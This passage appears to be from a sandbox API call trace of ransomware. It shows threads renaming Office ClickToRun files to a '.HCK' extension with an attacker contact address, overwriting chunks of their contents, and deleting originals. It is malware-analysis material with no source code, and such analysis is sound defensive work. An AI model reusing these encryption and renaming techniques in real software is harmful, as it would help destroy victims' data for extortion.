(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".dbf") returned 4 [0246.785] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".1cd") returned 4 [0246.785] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0246.785] lstrlenW (lpString=".jpg") returned 4 [0246.786] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.786] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.786] lstrlenW (lpString="msvcr120.dll") returned 12 [0246.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.786] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=963240) returned 1 [0246.786] CloseHandle (hObject=0x354) returned 1 [0246.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0246.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.787] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.787] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0246.790] GetLastError () returned 0x0 [0246.791] ReadFile (in: hFile=0x354, lpBuffer=0x3cb4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cb4020*, lpNumberOfBytesRead=0x326fecc*=0xeb2a8, lpOverlapped=0x0) returned 1 [0246.817] WriteFile (hFile=0x368, lpBuffer=0x3cb4020, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0) Thread: id = 379 os_tid = 0xef4 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a11038 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a21040 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e588 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc658 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7e0 [0245.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3dcc020 [0245.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e7f8 [0245.488] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e7f8, Size=0x20) returned 0x55ebd8 [0245.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.488] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5b8, Size=0x20) returned 0x55eb88 [0245.488] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.488] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.488] Wow64DisableWow64FsRedirection (in: OldValue=0x33aff50 | out: OldValue=0x33aff50*=0x0) returned 1 [0245.488] lstrlenW (lpString="kernel32.dll") returned 12 [0245.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.488] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.488] Sleep (dwMilliseconds=0x64) [0245.722] Sleep (dwMilliseconds=0x64) [0246.021] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.021] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0246.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0246.022] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=9330784) returned 1 [0246.022] CloseHandle (hObject=0x358) returned 1 [0246.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0246.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0246.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0246.023] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1 [0246.023] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.023] ReadFile (in: hFile=0x358, lpBuffer=0x3dcc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3dcc058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.032] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2f7575, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.032] ReadFile (in: hFile=0x358, lpBuffer=0x3e0c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e0c058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.040] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.041] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x8a6060, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.041] ReadFile (in: hFile=0x358, lpBuffer=0x3e4c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e4c058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.059] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0246.059] WriteFile (in: hFile=0x358, lpBuffer=0x3dcc020*, nNumberOfBytesToWrite=0xc0118, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x3dcc020*, lpNumberOfBytesWritten=0x33afca8*=0xc0118, lpOverlapped=0x0) returned 1 [0246.225] SetEndOfFile (hFile=0x358) returned 1 [0246.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x41c40b8 [0246.841] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0246.841] WriteFile (in: hFile=0x358, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.842] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2f7575, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0246.842] WriteFile (in: hFile=0x358, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.847] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x8a6060, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1 [0246.847] WriteFile (in: hFile=0x358, lpBuffer=0x41c40b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x41c40b8*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1 [0246.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41c40b8 | out: hHeap=0x520000) returned 1 [0246.851] CloseHandle (hObject=0x358) returned 1 [0246.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0246.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.851] lstrlenW (lpString=".doc") returned 4 [0246.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.851] lstrlenW (lpString=".docx") returned 5 [0246.851] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0246.851] lstrlenW (lpString=".pdf") returned 4 [0246.851] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.851] lstrlenW (lpString=".xls") returned 4 [0246.851] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.851] lstrlenW (lpString=".xlsx") returned 5 [0246.851] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0246.851] lstrlenW (lpString=".ppt") returned 4 [0246.851] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.851] lstrlenW (lpString=".zip") returned 4 [0246.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString=".rar") returned 4 [0246.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString=".bz2") returned 4 [0246.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.852] lstrlenW (lpString=".7z") returned 3 [0246.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString=".dbf") returned 4 [0246.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString=".1cd") returned 4 [0246.852] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString=".jpg") returned 4 [0246.852] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString=".doc") returned 4 [0246.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString=".docx") returned 5 [0246.852] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0246.852] lstrlenW (lpString=".pdf") returned 4 [0246.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString=".xls") returned 4 [0246.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString=".xlsx") returned 5 [0246.852] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0246.852] lstrlenW (lpString=".ppt") returned 4 [0246.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.852] lstrlenW (lpString=".zip") returned 4 [0246.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.853] lstrlenW (lpString=".rar") returned 4 [0246.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.853] lstrlenW (lpString=".bz2") returned 4 [0246.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.853] lstrlenW (lpString=".7z") returned 3 [0246.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.853] lstrlenW (lpString=".dbf") returned 4 [0246.853] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0246.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.853] lstrlenW (lpString=".1cd") returned 4 [0246.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0246.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0246.853] lstrlenW (lpString=".jpg") returned 4 [0246.853] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0246.853] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0246.853] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0246.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0246.854] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=5967976) returned 1 [0246.854] CloseHandle (hObject=0x358) returned 1 [0246.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0246.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0246.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0246.855] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1 [0246.855] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.855] ReadFile (in: hFile=0x358, lpBuffer=0x3dcc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3dcc058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.867] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.867] ReadFile (in: hFile=0x358, lpBuffer=0x3e0c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e0c058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1 [0246.875] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.875] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1 [0246.875] ReadFile (hFile=0x358, lpBuffer=0x3e4c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0) Thread: id = 380 os_tid = 0xef8 [0245.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a31048 [0245.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3a41050 [0245.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5b8 [0245.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x5bc668 [0245.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5d0 [0245.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3ed0020 [0245.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5e8 [0245.491] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5e8, Size=0x20) returned 0x55ebd8 [0245.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x57e5e8 [0245.491] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57e5e8, Size=0x20) returned 0x55eb88 [0245.491] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.492] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.492] Wow64DisableWow64FsRedirection (in: OldValue=0x34eff50 | out: OldValue=0x34eff50*=0x0) returned 1 [0245.492] lstrlenW (lpString="kernel32.dll") returned 12 [0245.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ebd8 | out: hHeap=0x520000) returned 1 [0245.492] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eb88 | out: hHeap=0x520000) returned 1 [0245.492] Sleep (dwMilliseconds=0x64) [0245.721] Sleep (dwMilliseconds=0x64) [0246.068] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0246.068] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0246.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0246.069] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=61024) returned 1 [0246.069] CloseHandle (hObject=0x35c) returned 1 [0246.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0246.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0246.069] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.069] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0246.073] GetLastError () returned 0x0 [0246.073] ReadFile (in: hFile=0x35c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x34efecc*=0xee60, lpOverlapped=0x0) returned 1 [0246.080] WriteFile (in: hFile=0x360, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x34efc94*=0xee70, lpOverlapped=0x0) returned 1 [0246.082] ReadFile (in: hFile=0x35c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0246.082] WriteFile (in: hFile=0x360, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x34efc94*=0xfa, lpOverlapped=0x0) returned 1 [0246.082] SetEndOfFile (hFile=0x360) returned 1 [0246.082] CloseHandle (hObject=0x360) returned 1 [0246.082] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0246.082] SetEndOfFile (hFile=0x35c) returned 1 [0246.083] CloseHandle (hObject=0x35c) returned 1 [0246.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0246.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0246.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.084] lstrlenW (lpString=".doc") returned 4 [0246.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0246.084] lstrlenW (lpString=".docx") returned 5 [0246.084] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0246.084] lstrlenW (lpString=".pdf") returned 4 [0246.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0246.084] lstrlenW (lpString=".xls") returned 4 [0246.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0246.084] lstrlenW (lpString=".xlsx") returned 5 [0246.084] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0246.084] lstrlenW (lpString=".ppt") returned 4 [0246.085] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0246.085] lstrlenW (lpString=".zip") returned 4 [0246.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".rar") returned 4 [0246.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0246.085] lstrlenW (lpString=".bz2") returned 4 [0246.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0246.085] lstrlenW (lpString=".7z") returned 3 [0246.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0246.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 